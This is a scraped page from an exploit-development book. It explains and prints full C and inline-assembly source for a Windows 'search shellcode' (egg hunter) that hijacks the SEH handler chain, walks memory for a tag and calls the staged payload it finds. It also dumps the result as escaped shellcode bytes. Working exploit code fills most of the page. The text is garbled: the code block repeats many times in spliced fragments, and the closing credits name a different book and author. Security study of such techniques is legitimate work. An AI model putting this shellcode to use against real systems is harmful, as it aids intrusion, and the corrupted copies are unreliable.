Searching with Windows Exception Handling

Searching with Windows Exception Handling

You can easily see that the shellcode in the previous section is much larger than we'd like it to be. To fix this problem, we write another shellcode that goes through memory and finds the first shellcode. The order of execution is as follows :

  1. Vulnerable program executes normally.

  2. The search shellcode will be inserted.

  3. Stage 1 shellcode is executed.

  4. Downloaded arbitrary shellcode will be executed.

The search shellcode will be extremely smallfor Windows shellcode, that is. Its final size should be under 150 bytes, once you've encoded it and prepended your decoder, and should fit almost anywhere . If you need even smaller shellcode, make your shellcode service-pack dependent, and hardcode the addresses of functions.

To use this shellcode, you need to append an 8-byte tag to the end, and prepend that same 8-byte tag with the words swapped around to the beginning of your main shellcode, which can be anywhere else in memory.

 #include <stdio.h> /*  * Released under the GPL V 2.0  * Copyright Immunity, Inc. 2002-2003  *     Works under SE handling.     Put location of structure in fs:0 Put structure on stack when called you can pop 4 arguments from the stack _except_handler(     struct _EXCEPTION_RECORD *ExceptionRecord,     void * EstablisherFrame,     struct _CONTEXT *ContextRecord,     void * DispatcherContext );      typedef struct _CONTEXT  {      DWORD ContextFlags;      DWORD   Dr0;      DWORD   Dr1;      DWORD   Dr2;      DWORD   Dr3;      DWORD   Dr6;      DWORD   Dr7;      FLOATING_SAVE_AREA FloatSave;      DWORD   SegGs;      DWORD   SegFs;      DWORD   SegEs;      DWORD   SegDs;      DWORD   Edi;      DWORD   Esi;      DWORD   Ebx;      DWORD   Edx;      DWORD   Ecx;      DWORD   Eax;      DWORD   Ebp;      DWORD   Eip;      DWORD   SegCs;      DWORD   EFlags;      DWORD   Esp;      DWORD   SegSs;  } CONTEXT; 

Return to continue execution where the exception occurred.

Note 

We searched for TAG1 and TAG2 in reverse order so we don't match on ourselves , which would ruin our shellcode.

Also, it is important to note that the exception handler structure ( -1 , address ) must be on the current thread's stack. If you have changed ESP you will have to fix the current thread's stack in the thread information block to reflect that. Additionally, you must deal with some nasty alignment issues as well. These factors combine to make this shellcode larger than we would like. A better strategy is to set the PEB lock to RtlEnterCriticleSection , as follows:

 k=0x7ffdf020;     *(int *)k=RtlEnterCriticalSectionadd;      * */     #define DOPRINT  //#define DORUN void shellcode() {       /*GLOBAL DEFINES*/   asm("     .set KERNEL32HASH,      0x000d4e88     ");     /*START OF SHELLCODE*/ asm("     mainentrypoint: //time to fill our function pointer table sub 
 k=0x7ffdf020; *(int *)k=RtlEnterCriticalSectionadd; * */ #define DOPRINT //#define DORUN void shellcode() { /*GLOBAL DEFINES*/ asm(" .set KERNEL32HASH, 0x000d4e88 "); /*START OF SHELLCODE*/ asm(" mainentrypoint: //time to fill our function pointer table sub $0x50,%esp call geteip geteip: pop %ebx //ebx now has our base! //remove any chance of esp being below us, and thereby //having WSASocket or other functions use us as their stack //which sucks movl %ebx,%esp subl $0x1000,%esp //esp must be aligned for win32 functions to not crash and $0xffffff00,%esp takeexceptionhandler: //this code gets control of the exception handler //load the address of our exception registration block into fs:0 lea exceptionhandler-geteip(%ebx),%eax //push the address of our exception handler push %eax //we are the last handler, so we push -1 push $-1 //move it all into place... mov %esp,%fs:(0) //Now we have to adjust our thread information block to reflect we may be anywhere in memory //As of Windows XP SP1, you cannot have your exception handler itself on //the stack - but most versions of windows check to make sure your //exception block is on the stack. addl $0xc, %esp movl %esp,%fs:(4) subl $0xc,%esp //now we fix the bottom of thread stack to be right after our SEH block movl %esp,%fs:(8) "); //search loop asm(" startloop: xor %esi,%esi mov TAG1-geteip(%ebx),%edx mov TAG2-geteip(%ebx),%ecx memcmp: //may fault and call our exception handler mov (%esi),%eax cmp %eax,%ecx jne addaddr mov 4(%esi),%eax cmp %eax,%edx jne addaddr jmp foundtags addaddr: inc %esi jmp memcmp foundtags: lea 8(%esi),%eax xor %esi,%esi //clear the exception handler so we don't worry about that on exit mov %esi,%fs:(0) call *%eax "); asm(" //handles the exceptions as we walk through memory exceptionhandler: //int $3 mov 0xc(%esp),%eax //get saved ESI from exception frame into %eax add $0xa0,%eax mov (%eax),%edi //add 0x1000 to saved ESI and store it back add $0x1000,%edi mov %edi,(%eax) xor %eax,%eax ret "); asm(" endsploit: //these tags mark the start of our real shellcode TAGS: TAG1: .long 0x41424344 TAG2: .long 0x45464748 CURRENTPLACE: //where we are currently looking .long 0x00000000 "); } int main() { unsigned char buffer[4000]; unsigned char * p; int i; unsigned char stage2[500]; //setup stage2 for testing strcpy (stage2,"HGFE"); strcat(stage2,"DCBA\xcc\xcc\xcc"); //getprocaddr(); memcpy (buffer,shellcode,2400); p=buffer; #ifdef WIN32 p+=3; /*skip prelude of function*/ #endif #ifdef DOPRINT #define SIZE 127 printf("#Size in bytes: %d\n",SIZE); /*gdb ) printf "%d\n", endsploit - mainentrypoint -1 */ printf("searchshellcode+=\""); for (i=0; i<SIZE; i++) { printf("\\x%2.2x",*p); if ((i+1)%8==0) printf("\"\nsearchshellcode+=\""); p++; } printf("\"\n"); #endif #ifdef DORUN ((void(*)())(p)) (); #endif } 
x50,%esp call geteip geteip: pop %ebx //ebx now has our base! //remove any chance of esp being below us, and thereby //having WSASocket or other functions use us as their stack //which sucks movl %ebx,%esp subl
 k=0x7ffdf020; *(int *)k=RtlEnterCriticalSectionadd; * */ #define DOPRINT //#define DORUN void shellcode() { /*GLOBAL DEFINES*/ asm(" .set KERNEL32HASH, 0x000d4e88 "); /*START OF SHELLCODE*/ asm(" mainentrypoint: //time to fill our function pointer table sub $0x50,%esp call geteip geteip: pop %ebx //ebx now has our base! //remove any chance of esp being below us, and thereby //having WSASocket or other functions use us as their stack //which sucks movl %ebx,%esp subl $0x1000,%esp //esp must be aligned for win32 functions to not crash and $0xffffff00,%esp takeexceptionhandler: //this code gets control of the exception handler //load the address of our exception registration block into fs:0 lea exceptionhandler-geteip(%ebx),%eax //push the address of our exception handler push %eax //we are the last handler, so we push -1 push $-1 //move it all into place... mov %esp,%fs:(0) //Now we have to adjust our thread information block to reflect we may be anywhere in memory //As of Windows XP SP1, you cannot have your exception handler itself on //the stack - but most versions of windows check to make sure your //exception block is on the stack. addl $0xc, %esp movl %esp,%fs:(4) subl $0xc,%esp //now we fix the bottom of thread stack to be right after our SEH block movl %esp,%fs:(8) "); //search loop asm(" startloop: xor %esi,%esi mov TAG1-geteip(%ebx),%edx mov TAG2-geteip(%ebx),%ecx memcmp: //may fault and call our exception handler mov (%esi),%eax cmp %eax,%ecx jne addaddr mov 4(%esi),%eax cmp %eax,%edx jne addaddr jmp foundtags addaddr: inc %esi jmp memcmp foundtags: lea 8(%esi),%eax xor %esi,%esi //clear the exception handler so we don't worry about that on exit mov %esi,%fs:(0) call *%eax "); asm(" //handles the exceptions as we walk through memory exceptionhandler: //int $3 mov 0xc(%esp),%eax //get saved ESI from exception frame into %eax add $0xa0,%eax mov (%eax),%edi //add 0x1000 to saved ESI and store it back add $0x1000,%edi mov %edi,(%eax) xor %eax,%eax ret "); asm(" endsploit: //these tags mark the start of our real shellcode TAGS: TAG1: .long 0x41424344 TAG2: .long 0x45464748 CURRENTPLACE: //where we are currently looking .long 0x00000000 "); } int main() { unsigned char buffer[4000]; unsigned char * p; int i; unsigned char stage2[500]; //setup stage2 for testing strcpy (stage2,"HGFE"); strcat(stage2,"DCBA\xcc\xcc\xcc"); //getprocaddr(); memcpy (buffer,shellcode,2400); p=buffer; #ifdef WIN32 p+=3; /*skip prelude of function*/ #endif #ifdef DOPRINT #define SIZE 127 printf("#Size in bytes: %d\n",SIZE); /*gdb ) printf "%d\n", endsploit - mainentrypoint -1 */ printf("searchshellcode+=\""); for (i=0; i<SIZE; i++) { printf("\\x%2.2x",*p); if ((i+1)%8==0) printf("\"\nsearchshellcode+=\""); p++; } printf("\"\n"); #endif #ifdef DORUN ((void(*)())(p)) (); #endif } 
x1000,%esp //esp must be aligned for win32 functions to not crash and
 k=0x7ffdf020; *(int *)k=RtlEnterCriticalSectionadd; * */ #define DOPRINT //#define DORUN void shellcode() { /*GLOBAL DEFINES*/ asm(" .set KERNEL32HASH, 0x000d4e88 "); /*START OF SHELLCODE*/ asm(" mainentrypoint: //time to fill our function pointer table sub $0x50,%esp call geteip geteip: pop %ebx //ebx now has our base! //remove any chance of esp being below us, and thereby //having WSASocket or other functions use us as their stack //which sucks movl %ebx,%esp subl $0x1000,%esp //esp must be aligned for win32 functions to not crash and $0xffffff00,%esp takeexceptionhandler: //this code gets control of the exception handler //load the address of our exception registration block into fs:0 lea exceptionhandler-geteip(%ebx),%eax //push the address of our exception handler push %eax //we are the last handler, so we push -1 push $-1 //move it all into place... mov %esp,%fs:(0) //Now we have to adjust our thread information block to reflect we may be anywhere in memory //As of Windows XP SP1, you cannot have your exception handler itself on //the stack - but most versions of windows check to make sure your //exception block is on the stack. addl $0xc, %esp movl %esp,%fs:(4) subl $0xc,%esp //now we fix the bottom of thread stack to be right after our SEH block movl %esp,%fs:(8) "); //search loop asm(" startloop: xor %esi,%esi mov TAG1-geteip(%ebx),%edx mov TAG2-geteip(%ebx),%ecx memcmp: //may fault and call our exception handler mov (%esi),%eax cmp %eax,%ecx jne addaddr mov 4(%esi),%eax cmp %eax,%edx jne addaddr jmp foundtags addaddr: inc %esi jmp memcmp foundtags: lea 8(%esi),%eax xor %esi,%esi //clear the exception handler so we don't worry about that on exit mov %esi,%fs:(0) call *%eax "); asm(" //handles the exceptions as we walk through memory exceptionhandler: //int $3 mov 0xc(%esp),%eax //get saved ESI from exception frame into %eax add $0xa0,%eax mov (%eax),%edi //add 0x1000 to saved ESI and store it back add $0x1000,%edi mov %edi,(%eax) xor %eax,%eax ret "); asm(" endsploit: //these tags mark the start of our real shellcode TAGS: TAG1: .long 0x41424344 TAG2: .long 0x45464748 CURRENTPLACE: //where we are currently looking .long 0x00000000 "); } int main() { unsigned char buffer[4000]; unsigned char * p; int i; unsigned char stage2[500]; //setup stage2 for testing strcpy (stage2,"HGFE"); strcat(stage2,"DCBA\xcc\xcc\xcc"); //getprocaddr(); memcpy (buffer,shellcode,2400); p=buffer; #ifdef WIN32 p+=3; /*skip prelude of function*/ #endif #ifdef DOPRINT #define SIZE 127 printf("#Size in bytes: %d\n",SIZE); /*gdb ) printf "%d\n", endsploit - mainentrypoint -1 */ printf("searchshellcode+=\""); for (i=0; i<SIZE; i++) { printf("\\x%2.2x",*p); if ((i+1)%8==0) printf("\"\nsearchshellcode+=\""); p++; } printf("\"\n"); #endif #ifdef DORUN ((void(*)())(p)) (); #endif } 
xffffff00,%esp takeexceptionhandler: //this code gets control of the exception handler //load the address of our exception registration block into fs:0 lea exceptionhandler-geteip(%ebx),%eax //push the address of our exception handler push %eax //we are the last handler, so we push -1 push $-1 //move it all into place... mov %esp,%fs:(0) //Now we have to adjust our thread information block to reflect we may be anywhere in memory //As of Windows XP SP1, you cannot have your exception handler itself on //the stack - but most versions of windows check to make sure your //exception block is on the stack. addl
 k=0x7ffdf020; *(int *)k=RtlEnterCriticalSectionadd; * */ #define DOPRINT //#define DORUN void shellcode() { /*GLOBAL DEFINES*/ asm(" .set KERNEL32HASH, 0x000d4e88 "); /*START OF SHELLCODE*/ asm(" mainentrypoint: //time to fill our function pointer table sub $0x50,%esp call geteip geteip: pop %ebx //ebx now has our base! //remove any chance of esp being below us, and thereby //having WSASocket or other functions use us as their stack //which sucks movl %ebx,%esp subl $0x1000,%esp //esp must be aligned for win32 functions to not crash and $0xffffff00,%esp takeexceptionhandler: //this code gets control of the exception handler //load the address of our exception registration block into fs:0 lea exceptionhandler-geteip(%ebx),%eax //push the address of our exception handler push %eax //we are the last handler, so we push -1 push $-1 //move it all into place... mov %esp,%fs:(0) //Now we have to adjust our thread information block to reflect we may be anywhere in memory //As of Windows XP SP1, you cannot have your exception handler itself on //the stack - but most versions of windows check to make sure your //exception block is on the stack. addl $0xc, %esp movl %esp,%fs:(4) subl $0xc,%esp //now we fix the bottom of thread stack to be right after our SEH block movl %esp,%fs:(8) "); //search loop asm(" startloop: xor %esi,%esi mov TAG1-geteip(%ebx),%edx mov TAG2-geteip(%ebx),%ecx memcmp: //may fault and call our exception handler mov (%esi),%eax cmp %eax,%ecx jne addaddr mov 4(%esi),%eax cmp %eax,%edx jne addaddr jmp foundtags addaddr: inc %esi jmp memcmp foundtags: lea 8(%esi),%eax xor %esi,%esi //clear the exception handler so we don't worry about that on exit mov %esi,%fs:(0) call *%eax "); asm(" //handles the exceptions as we walk through memory exceptionhandler: //int $3 mov 0xc(%esp),%eax //get saved ESI from exception frame into %eax add $0xa0,%eax mov (%eax),%edi //add 0x1000 to saved ESI and store it back add $0x1000,%edi mov %edi,(%eax) xor %eax,%eax ret "); asm(" endsploit: //these tags mark the start of our real shellcode TAGS: TAG1: .long 0x41424344 TAG2: .long 0x45464748 CURRENTPLACE: //where we are currently looking .long 0x00000000 "); } int main() { unsigned char buffer[4000]; unsigned char * p; int i; unsigned char stage2[500]; //setup stage2 for testing strcpy (stage2,"HGFE"); strcat(stage2,"DCBA\xcc\xcc\xcc"); //getprocaddr(); memcpy (buffer,shellcode,2400); p=buffer; #ifdef WIN32 p+=3; /*skip prelude of function*/ #endif #ifdef DOPRINT #define SIZE 127 printf("#Size in bytes: %d\n",SIZE); /*gdb ) printf "%d\n", endsploit - mainentrypoint -1 */ printf("searchshellcode+=\""); for (i=0; i<SIZE; i++) { printf("\\x%2.2x",*p); if ((i+1)%8==0) printf("\"\nsearchshellcode+=\""); p++; } printf("\"\n"); #endif #ifdef DORUN ((void(*)())(p)) (); #endif } 
xc, %esp movl %esp,%fs:(4) subl
 k=0x7ffdf020; *(int *)k=RtlEnterCriticalSectionadd; * */ #define DOPRINT //#define DORUN void shellcode() { /*GLOBAL DEFINES*/ asm(" .set KERNEL32HASH, 0x000d4e88 "); /*START OF SHELLCODE*/ asm(" mainentrypoint: //time to fill our function pointer table sub $0x50,%esp call geteip geteip: pop %ebx //ebx now has our base! //remove any chance of esp being below us, and thereby //having WSASocket or other functions use us as their stack //which sucks movl %ebx,%esp subl $0x1000,%esp //esp must be aligned for win32 functions to not crash and $0xffffff00,%esp takeexceptionhandler: //this code gets control of the exception handler //load the address of our exception registration block into fs:0 lea exceptionhandler-geteip(%ebx),%eax //push the address of our exception handler push %eax //we are the last handler, so we push -1 push $-1 //move it all into place... mov %esp,%fs:(0) //Now we have to adjust our thread information block to reflect we may be anywhere in memory //As of Windows XP SP1, you cannot have your exception handler itself on //the stack - but most versions of windows check to make sure your //exception block is on the stack. addl $0xc, %esp movl %esp,%fs:(4) subl $0xc,%esp //now we fix the bottom of thread stack to be right after our SEH block movl %esp,%fs:(8) "); //search loop asm(" startloop: xor %esi,%esi mov TAG1-geteip(%ebx),%edx mov TAG2-geteip(%ebx),%ecx memcmp: //may fault and call our exception handler mov (%esi),%eax cmp %eax,%ecx jne addaddr mov 4(%esi),%eax cmp %eax,%edx jne addaddr jmp foundtags addaddr: inc %esi jmp memcmp foundtags: lea 8(%esi),%eax xor %esi,%esi //clear the exception handler so we don't worry about that on exit mov %esi,%fs:(0) call *%eax "); asm(" //handles the exceptions as we walk through memory exceptionhandler: //int $3 mov 0xc(%esp),%eax //get saved ESI from exception frame into %eax add $0xa0,%eax mov (%eax),%edi //add 0x1000 to saved ESI and store it back add $0x1000,%edi mov %edi,(%eax) xor %eax,%eax ret "); asm(" endsploit: //these tags mark the start of our real shellcode TAGS: TAG1: .long 0x41424344 TAG2: .long 0x45464748 CURRENTPLACE: //where we are currently looking .long 0x00000000 "); } int main() { unsigned char buffer[4000]; unsigned char * p; int i; unsigned char stage2[500]; //setup stage2 for testing strcpy (stage2,"HGFE"); strcat(stage2,"DCBA\xcc\xcc\xcc"); //getprocaddr(); memcpy (buffer,shellcode,2400); p=buffer; #ifdef WIN32 p+=3; /*skip prelude of function*/ #endif #ifdef DOPRINT #define SIZE 127 printf("#Size in bytes: %d\n",SIZE); /*gdb ) printf "%d\n", endsploit - mainentrypoint -1 */ printf("searchshellcode+=\""); for (i=0; i<SIZE; i++) { printf("\\x%2.2x",*p); if ((i+1)%8==0) printf("\"\nsearchshellcode+=\""); p++; } printf("\"\n"); #endif #ifdef DORUN ((void(*)())(p)) (); #endif } 
xc,%esp //now we fix the bottom of thread stack to be right after our SEH block movl %esp,%fs:(8) "); //search loop asm(" startloop: xor %esi,%esi mov TAG1-geteip(%ebx),%edx mov TAG2-geteip(%ebx),%ecx memcmp: //may fault and call our exception handler mov (%esi),%eax cmp %eax,%ecx jne addaddr mov 4(%esi),%eax cmp %eax,%edx jne addaddr jmp foundtags addaddr: inc %esi jmp memcmp foundtags: lea 8(%esi),%eax xor %esi,%esi //clear the exception handler so we don't worry about that on exit mov %esi,%fs:(0) call *%eax "); asm(" //handles the exceptions as we walk through memory exceptionhandler: //int mov 0xc(%esp),%eax //get saved ESI from exception frame into %eax add
 k=0x7ffdf020; *(int *)k=RtlEnterCriticalSectionadd; * */ #define DOPRINT //#define DORUN void shellcode() { /*GLOBAL DEFINES*/ asm(" .set KERNEL32HASH, 0x000d4e88 "); /*START OF SHELLCODE*/ asm(" mainentrypoint: //time to fill our function pointer table sub $0x50,%esp call geteip geteip: pop %ebx //ebx now has our base! //remove any chance of esp being below us, and thereby //having WSASocket or other functions use us as their stack //which sucks movl %ebx,%esp subl $0x1000,%esp //esp must be aligned for win32 functions to not crash and $0xffffff00,%esp takeexceptionhandler: //this code gets control of the exception handler //load the address of our exception registration block into fs:0 lea exceptionhandler-geteip(%ebx),%eax //push the address of our exception handler push %eax //we are the last handler, so we push -1 push $-1 //move it all into place... mov %esp,%fs:(0) //Now we have to adjust our thread information block to reflect we may be anywhere in memory //As of Windows XP SP1, you cannot have your exception handler itself on //the stack - but most versions of windows check to make sure your //exception block is on the stack. addl $0xc, %esp movl %esp,%fs:(4) subl $0xc,%esp //now we fix the bottom of thread stack to be right after our SEH block movl %esp,%fs:(8) "); //search loop asm(" startloop: xor %esi,%esi mov TAG1-geteip(%ebx),%edx mov TAG2-geteip(%ebx),%ecx memcmp: //may fault and call our exception handler mov (%esi),%eax cmp %eax,%ecx jne addaddr mov 4(%esi),%eax cmp %eax,%edx jne addaddr jmp foundtags addaddr: inc %esi jmp memcmp foundtags: lea 8(%esi),%eax xor %esi,%esi //clear the exception handler so we don't worry about that on exit mov %esi,%fs:(0) call *%eax "); asm(" //handles the exceptions as we walk through memory exceptionhandler: //int $3 mov 0xc(%esp),%eax //get saved ESI from exception frame into %eax add $0xa0,%eax mov (%eax),%edi //add 0x1000 to saved ESI and store it back add $0x1000,%edi mov %edi,(%eax) xor %eax,%eax ret "); asm(" endsploit: //these tags mark the start of our real shellcode TAGS: TAG1: .long 0x41424344 TAG2: .long 0x45464748 CURRENTPLACE: //where we are currently looking .long 0x00000000 "); } int main() { unsigned char buffer[4000]; unsigned char * p; int i; unsigned char stage2[500]; //setup stage2 for testing strcpy (stage2,"HGFE"); strcat(stage2,"DCBA\xcc\xcc\xcc"); //getprocaddr(); memcpy (buffer,shellcode,2400); p=buffer; #ifdef WIN32 p+=3; /*skip prelude of function*/ #endif #ifdef DOPRINT #define SIZE 127 printf("#Size in bytes: %d\n",SIZE); /*gdb ) printf "%d\n", endsploit - mainentrypoint -1 */ printf("searchshellcode+=\""); for (i=0; i<SIZE; i++) { printf("\\x%2.2x",*p); if ((i+1)%8==0) printf("\"\nsearchshellcode+=\""); p++; } printf("\"\n"); #endif #ifdef DORUN ((void(*)())(p)) (); #endif } 
xa0,%eax mov (%eax),%edi //add 0x1000 to saved ESI and store it back add
 k=0x7ffdf020; *(int *)k=RtlEnterCriticalSectionadd; * */ #define DOPRINT //#define DORUN void shellcode() { /*GLOBAL DEFINES*/ asm(" .set KERNEL32HASH, 0x000d4e88 "); /*START OF SHELLCODE*/ asm(" mainentrypoint: //time to fill our function pointer table sub $0x50,%esp call geteip geteip: pop %ebx //ebx now has our base! //remove any chance of esp being below us, and thereby //having WSASocket or other functions use us as their stack //which sucks movl %ebx,%esp subl $0x1000,%esp //esp must be aligned for win32 functions to not crash and $0xffffff00,%esp takeexceptionhandler: //this code gets control of the exception handler //load the address of our exception registration block into fs:0 lea exceptionhandler-geteip(%ebx),%eax //push the address of our exception handler push %eax //we are the last handler, so we push -1 push $-1 //move it all into place... mov %esp,%fs:(0) //Now we have to adjust our thread information block to reflect we may be anywhere in memory //As of Windows XP SP1, you cannot have your exception handler itself on //the stack - but most versions of windows check to make sure your //exception block is on the stack. addl $0xc, %esp movl %esp,%fs:(4) subl $0xc,%esp //now we fix the bottom of thread stack to be right after our SEH block movl %esp,%fs:(8) "); //search loop asm(" startloop: xor %esi,%esi mov TAG1-geteip(%ebx),%edx mov TAG2-geteip(%ebx),%ecx memcmp: //may fault and call our exception handler mov (%esi),%eax cmp %eax,%ecx jne addaddr mov 4(%esi),%eax cmp %eax,%edx jne addaddr jmp foundtags addaddr: inc %esi jmp memcmp foundtags: lea 8(%esi),%eax xor %esi,%esi //clear the exception handler so we don't worry about that on exit mov %esi,%fs:(0) call *%eax "); asm(" //handles the exceptions as we walk through memory exceptionhandler: //int $3 mov 0xc(%esp),%eax //get saved ESI from exception frame into %eax add $0xa0,%eax mov (%eax),%edi //add 0x1000 to saved ESI and store it back add $0x1000,%edi mov %edi,(%eax) xor %eax,%eax ret "); asm(" endsploit: //these tags mark the start of our real shellcode TAGS: TAG1: .long 0x41424344 TAG2: .long 0x45464748 CURRENTPLACE: //where we are currently looking .long 0x00000000 "); } int main() { unsigned char buffer[4000]; unsigned char * p; int i; unsigned char stage2[500]; //setup stage2 for testing strcpy (stage2,"HGFE"); strcat(stage2,"DCBA\xcc\xcc\xcc"); //getprocaddr(); memcpy (buffer,shellcode,2400); p=buffer; #ifdef WIN32 p+=3; /*skip prelude of function*/ #endif #ifdef DOPRINT #define SIZE 127 printf("#Size in bytes: %d\n",SIZE); /*gdb ) printf "%d\n", endsploit - mainentrypoint -1 */ printf("searchshellcode+=\""); for (i=0; i<SIZE; i++) { printf("\\x%2.2x",*p); if ((i+1)%8==0) printf("\"\nsearchshellcode+=\""); p++; } printf("\"\n"); #endif #ifdef DORUN ((void(*)())(p)) (); #endif } 
x1000,%edi mov %edi,(%eax) xor %eax,%eax ret "); asm(" endsploit: //these tags mark the start of our real shellcode TAGS: TAG1: .long 0x41424344 TAG2: .long 0x45464748 CURRENTPLACE: //where we are currently looking .long 0x00000000 "); } int main() { unsigned char buffer[4000]; unsigned char * p; int i; unsigned char stage2[500]; //setup stage2 for testing strcpy(stage2,"HGFE"); strcat(stage2,"DCBA\xcc\xcc\xcc"); //getprocaddr(); memcpy(buffer,shellcode,2400); p=buffer; #ifdef WIN32 p+=3; /*skip prelude of function*/ #endif #ifdef DOPRINT #define SIZE 127 printf("#Size in bytes: %d\n",SIZE); /*gdb ) printf "%d\n", endsploit - mainentrypoint -1 */ printf("searchshellcode+=\""); for (i=0; i<SIZE; i++) { printf("\x%2.2x",*p); if ((i+1)%8==0) printf("\"\nsearchshellcode+=\""); p++; } printf("\"\n"); #endif #ifdef DORUN ((void(*)())(p)) (); #endif }


The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net